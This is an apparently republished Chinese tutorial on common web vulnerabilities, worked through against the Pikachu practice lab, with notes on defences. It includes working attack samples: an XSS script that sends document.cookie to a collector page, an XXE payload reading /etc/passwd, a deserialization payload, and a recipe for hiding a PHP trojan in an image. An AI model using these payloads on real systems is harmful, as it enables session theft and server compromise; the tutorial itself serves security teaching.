Web常见漏洞分析及测试方式

发表于:2020-11-20 09:55

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:北风~    来源:CSDN

  0x01.暴力破解攻击
  (一).概述
  不断地去试用户名和密码,直到试出来
  (二).字典
  1.常见的弱口令
  2.互联网上被脱裤后的账号密码(撞库),人们为了方便记忆很多网站使用相同的账号密码
  3.指定字符利用工具生成专属字典,已知某妹子的姓名手机号爱好等生产专属子字典。
  (三).产生条件
  是否要求用户设置复杂密码
  是否每次认证使用安全的验证码
  是否对尝试登录的行为进行判断限制(例如五次输错暂停登录30分钟)
  是否在必要的情况下采用了双因素认证(例如不光验证账号密码,还验证登录设备)
  (四).测试流程
  1.确认登录接口的脆弱性
  2.对字典进行优化
  3.工具自动化操作
  技巧:
  1.试注册确认账号密码的要求(例如长度6位以上不允许出现数字)
  2.管理员后台密码admin/administrator/root几率高
  (五).常见场景
  1.前端验证验证码
  2.后台验证验证码
  验证码使用后没有被丢弃
  后台没有验证
  后台验证码参数为空,始终验证正确
  3.token防验证码
  后台生成token,会直接写在前端,编写脚本获取token,一起提交。
  0x02.XSS(跨站脚本漏洞
  (一).产生原理
  攻击者在存在XXS漏洞的网站写入脚本,用户访问XXS页面返回带有恶意JS的页面,触发脚本,执行脚本发送窃取数据到攻击者指定的端口,攻击者伪造用户登录。
  主要原因:
  对输入和输出的控制不够严格,导致精心构造的脚本在输入后,在输到前端时被浏览器当作有效代码执行
  (二).测试流程
  1.输入特殊字符 '"<>?&
  tips:输入长度限制,改前端代码
  2.成功后输入payload
  (三).常见类型
  1.存储型
  特点:存在数据库,永久存储
  易发情况:留言板,注册
  2.反射型
  特点:一次性
  易发情况:查询页面
  get 带有XSS的URL伪装后发送给目标
<script>document.location='http://127.0.0.1:8080/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>'</script>
http://127.0.0.1:8080/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F127.0.0.1%3A8080%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3E%27%3C%2Fscript%3E&submit=submit
  post 制作另一个网页向C2发送数据
  3.DOM型
  特点:不与后台服务器产生数据交互,DOM操作前端代码输出产生,属于反射型
  构造前端闭合
  (四).防范措施
  输入做过滤,输出做转义
  0x03.CSRF(跨站请求伪造)
  (一).概述
  攻击者伪造一个请求,欺骗用户点击,用户一旦点击,在自己的登录态下发送请求,攻击完成,故CSRF也称“one click”攻击
  攻击完成满足的条件:
  1.网站没有对个人信息修改进行防CSRF处理,导致请求易被伪造
  2.lucy登录了后台的情况下,点击了攻击者的链接,lucy不在登录态,或者不点链接均不会成功
  与XSS的区别
  CSRF借用户权限完成攻击,XSS直接盗取用户的权限
  (二)测试流程
  抓包观察是否加验证码/token
  (三)get/post 漏洞演示
  get:明文传参
  post:借助另一台服务器上的网页发送post请求
  (四).Anti CSRF token
  token随机数防御CSRF攻击
  (五)防范措施
  请求容易被伪造,加token验证
  0x04.sql注入
  闭合测试,构造合法SQL,欺骗后台执行
  SQL Inject漏洞原理概述
  没有对用户输入的内容进行限制
  如何判断注入点类型及常见注入类型讲解
  数字型
  字符型
  搜索型
  注入方式get&post的区别
  手工测试
  SQL Inject漏洞手T测试:基于union联合查询的信息获取( select )
  SQL Inject漏洞手工测试:基于报错的信息获取(select/delete/update/insert)
  SQL Inject漏洞手工测试:操作系统权限获取
  盲注
  对错误的信息屏蔽,或者使用标准方式输出
  0.没有报错信息
  1.不管输入正确还是错误,都只显示两种情况
  2.正确输入下,输入and 1=1/and 1=2发现可以判断
  SQL注入漏洞-盲注( boolian base )原理及测试
  SQL注入漏洞-盲注( time base )原理及测试
  其他注入类型
  SQL注入漏洞-基于http header的注入
  SQL注入表列明猜解暴力破解在sqli上的应用
  SQL注入-宽字节注入原理及演示
  sqlmap
  如何使用SQL-Map进行SQL Inject漏洞测试
  防范措施
  0x05.远程命令/代码执行漏洞(RCE)
  (一)远程系统命令执行
  一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。
  (二)远程代码执行
  因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。
  0x06.文件包含漏洞
  原理:
  程序猿提高效率以及让代码看起来简洁。使用“包含”函数功能。比如把一系列功能函数都写进fuction.php中,之后某个文件需要调用时就直接在文件头上一句<?php include fuction.php?>就可以调用函数代码。
  有时,因为网站功能需求,会让前端用户选择需要包含的文件(或者在前端的功能中使用了“包含”功能),又由于开发人员没有对要包含的这个文件进行安全考虑,导致攻击者可以通过修改包含文件的位置来让后台执行任意文件(代码)。
  文件包含漏洞的函数:
  包含函数include()和require()
  通过include()和require()语句,可以将PHP文件的内容插入另一个PHP文件(在服务器执行它之前)
  include 和 require 语句是相同,除了错误处理方面;
  require 会生成致命(E_COMPILE_ERROR)并停止脚本
  include只生成警告(E_WARNING),并且脚本会继续
  (一)本地文件包含漏洞
Test.php:
<?php $color='银色的',$car='奔驰轿车';?>

Index.html:
<html><body><h1>欢迎访问我的首页</h1>
<?php include 'test.php';echo "我有一辆".$color.$car"。";?>
</body> </html>
  (二)远程文件包含漏洞
  远程文件包含漏洞形式跟本地文件包含漏洞差不多,在远程包含漏洞中,攻击者可以访问外部地址来加载远程代码。
  远程包含漏洞前提:使用include和require。配置php.ini如下
  allow_url_fopen=on // 默认打开
  Allow_url_include=on //默认关闭
  搭配合服务器,在配合服务器上写一句话木马
  对(一)和(二)的总结:两者都对前端传进来的包含文件没有进行处理
  P.S.新思路:文件包含漏洞搭配文件上传漏洞结合:上传图片马,文件包含执行
  (三).防范措施
  0.在功能设计上尽量不要将文件包含函数对应的文件放给前端进行选择和操作
  1.过滤各种…/…/ ,http://,https://
  2.配置php.ini配置文件:
  allow_url_fopen=off
  Allow_url_include=off
  magic_quotes_gpc=on
  3.通过白名单策略,仅允许包含运行指定的文件,其他的都禁止
  0x07.文件下载漏洞
  很多网站都会提供文件下载功能,即用户可以通过点击下载链接,下载到链接所对应的文件。但是,如果文件下载功能设计不当,则可能导致攻击者可以通过构造文件路径,从而获取到后台服务器上的其他的敏感文件(又称:任意文件下载)
  防范措施:
  1.对传入的文件名进行严格的过滤和限定
  2.对文件下载的目录进行严格的限定
  0x08.文件上传漏洞
  因为业务功能,很多web站点都有文件上传的接口,比如:
  1.注册时上传头像图片(比如jpg,png,gif)
  2.上传文件附件(doc,xls)
  而在后台开发时并没有对上传的文件功能进行安全考虑或者采用了有缺陷的措施,导致攻击者可以通过一些手段绕过安全措施上传一些恶意文件(如:一句话木马)从而通过对恶意文件的访问来控制整个web后台
  (一)客户端绕过
  修改前端代码
  (二)服务端绕过
  1.MIME type验证原理与绕过
  针对后台使用$_FILES()判断文件类型
  MIME 多用途互联网邮件扩展类型 设定某种扩展名的文件用哪一种应用程序来打开的方式类型。每个MIME类型由两部分组成,前面是数据的大类别例如声音audio,图像image,后面定义具体的种类。常见的MIME类型
  超文本标记语言文本 .html,html text/html
  普通文本 .txt text/plain
  利用方式:抓包发送修改MIME类型后的包
  2.getimagesize
  Getimagesize()返回结果中有文件大小和文件类型,如果用这个函数来获取类型,判断是否是图片,会存在问题
  此函数通过判断文件16进制的头部是否是图片头来判断是否是图片
  图片木马制作:
  方法0:直接伪造头部GIF89A
  方法1:
CMD:copy /b test.png + muma.php cccc.png
  方法2::使用GIMP(开源的图片修改软件),通过增加备注,写入执行命令
  (三)防范措施
  不要在前端使用JS实施上传限制策略
  通过服务端对上传文件进行限制:
  1.多条件组合检查,比如文件大小,路径,扩展名。文件类型,文件完整性
  2.对上传的文件在服务器上存储时进行重命名(制定合理的命名规则)
  3.对服务器端上传文件的目录进行权限控制(比如只读),限制执行权限带来的危害
  0x09.越权漏洞解析
  没有对用户权限进行严格的判断
  导致低权限的账号(比如普通用户)可以去完成高权限账号(比如超级管理员)的操作
  平行越权
  同级用户,不能相互操作各自内容,比如淘宝的各个用户不能修改对方的收货地址
  登录态与请求相互验证
  垂直越权
  权限低的用户执行权限高的用户
  普通用户重放超级用户的请求
  越权漏洞属于逻辑漏洞,是由于权限校验的逻辑不够严禁导致的,每个应用系统由于其足够复杂与不同,因此越权漏洞很难通过扫描工具发现,往往需要手动测试
  0x0A.反序列化漏洞
  在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数。
  序列化serialize()
  序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:
 class S{
     public $test="pikachu";
 }
 $s=new S(); //创建一个对象
 serialize($s); //把这个对象进行序列化
 序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
     O:代表object
     1:代表对象名字长度为一个字符
     S:对象的名称
     1:代表对象里面有一个变量
     s:数据类型
     4:变量名称的长度
     test:变量名称
     s:数据类型
     7:变量值的长度
     pikachu:变量值
  反序列化unserialize()
  就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
    $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
    echo $u->test; //得到的结果为pikachu
  序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。
常见的几个魔法函数:
   __construct()当一个对象创建时被调用

    __destruct()当一个对象销毁时被调用

    __toString()当一个对象被当作一个字符串使用

    __sleep() 在对象在被序列化之前运行

    __wakeup将在序列化之后立即被调用

    漏洞举例:

    class S{
        var $test = "pikachu";
        function __destruct(){
            echo $this->test;
        }
    }
    $s = $_GET['test'];
    @$unser = unserialize($a);

    payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
  0x0B.XXE
<!--第一部分:XML声明-->
<?xml version="1.0"?>
<!--第二部分:文档类型定义DTD-->
<!DOCTYPE note[<!--定义此文档是note类型的文档-->
<!ENTITY entity-name SYSTEM "URL/URL"><!--外部实体声明-->
]>
<!--第三部分:文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
  DTD:文档类型定义,用来为XML文档定义语约束的
  外部实体引用。
<?xml version = "1.0"?>
<!DOCTYPE ANY[
<!ENTITY f SYSTEM "file://etc/passwd">
]>
<x>&f</x>
  外部引用支持http,file,ftp协议
  如果一个接口支持接收xml数据,且没有对xml数据做任何安全上的措施,就可导致XXE漏洞
  开启外部实体解析
  没对传入的xml进行限制
  0x0C.SSRF(服务端请求伪造)
  其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制
  导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据
  数据流:攻击者----->服务器---->目标地址
  根据后台使用的函数的不同,对应的影响和利用方法又有不一样
  PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()
  如果一定要通过后台服务器远程去对用户指定(“或者预埋在前端的请求”)的地址进行资源请求,则请做好目标地址的过滤。
  0x0D.目录遍历
  …/…/…/ 找到根目录
  0x0E.敏感信息泄露
  一些注释信息被看到
  目录直接可以看到
  0x0F.不安全的URL跳转
  跳错到钓鱼网站

  本文内容不用于商业目的,如涉及知识产权问题,请权利人联系51Testing小编(021-64471599-8017),我们将立即处理
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号